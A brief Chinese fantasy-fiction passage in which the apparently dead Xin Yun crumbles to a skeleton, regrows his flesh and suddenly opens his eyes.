又过了片刻,本已经没了声息的辛云忽然蜷曲了一下手指,浑身血肉开始快速消逝,转瞬便化作一具白骨。 不过片刻,血肉又重新长出,慢慢裹挟在骨骼之上,直到一切都恢复如初。 他躺在地上,蓦地睁开了眼。